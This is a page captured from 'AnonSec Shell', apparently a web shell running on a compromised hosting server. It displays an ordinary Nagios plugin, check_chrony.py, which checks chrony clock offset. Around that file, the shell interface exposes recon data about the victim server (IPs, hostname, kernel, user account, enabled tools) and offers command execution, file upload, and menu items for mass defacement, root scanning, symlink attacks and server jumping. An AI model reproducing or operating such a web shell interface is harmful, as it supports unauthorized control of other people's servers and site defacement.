. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 172.67.165.3  /  Your IP : 3.145.164.105   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux altar63.supremepanel63.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : abranoticias ( 1103)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/self/root/usr/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/self/root/proc/self/root/usr/lib64/nagios/plugins//check_chrony.py
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-

# Copyright (C) 2016-2018 Mohamed El Morabity <melmorabity@fedoraproject.com>
#
# This module is free software: you can redistribute it and/or modify it under the terms of the GNU
# General Public License as published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This software is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with this program. If not,
# see <http://www.gnu.org/licenses/>.


import re
import subprocess

from pynag import Plugins
from pynag.Plugins import simple as Plugin


DEFAULT_CHRONYD_PORT = 323

plugin = Plugin()

# Specify arguments to the plugin
plugin.add_arg('p', 'port', 'Chrony UDP port', required=None)

plugin.activate()

if plugin['critical'] <= plugin['warning']:
    plugin.parser.error('Critical level cannot be lesser than or equal to warning')

if plugin['host'] is None:
    plugin['host'] = 'localhost'

if plugin['port'] is None:
    plugin['port'] = DEFAULT_CHRONYD_PORT
else:
    try:
        plugin['port'] = float(plugin['port'])
        if plugin['port'] <= 0:
            raise ValueError
    except ValueError as ex:
        plugin.parser.error('Invalid port number')

# Run chrony tracking
command = ['chronyc', '-h', plugin['host'], '-p', str(plugin['port']), 'tracking']

try:
    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=None)
    output = process.communicate()[0]
except OSError as ex:
    plugin.nagios_exit(Plugins.UNKNOWN, str(ex))

if process.returncode != 0:
    plugin.nagios_exit(Plugins.CRITICAL, output.rstrip())

matcher = re.search(r'^Leap status\s*:\s*(.*)$', output, flags=re.MULTILINE)
leap_status = matcher.group(1)
if leap_status == 'Not synchronised':
    plugin.nagios_exit(Plugins.CRITICAL, 'Server is not synchronised')
if leap_status == 'Unknown':
    plugin.nagios_exit(Plugins.UNKNOWN, 'Server status is unknown')

matcher = re.search(r'^System time\s*:\s*([0-9]+\.[0-9]*) seconds (slow|fast)', output,
                    flags=re.MULTILINE)
offset = float(matcher.group(1))

status = Plugins.check_threshold(abs(offset), warning=plugin['warning'],
                                 critical=plugin['critical'])
plugin.add_perfdata('offset', offset, uom='s', warn=plugin['warning'], crit=plugin['critical'])
plugin.nagios_exit(status, 'Offset {} seconds'.format(offset))

Anon7 - 2022
AnonSec Team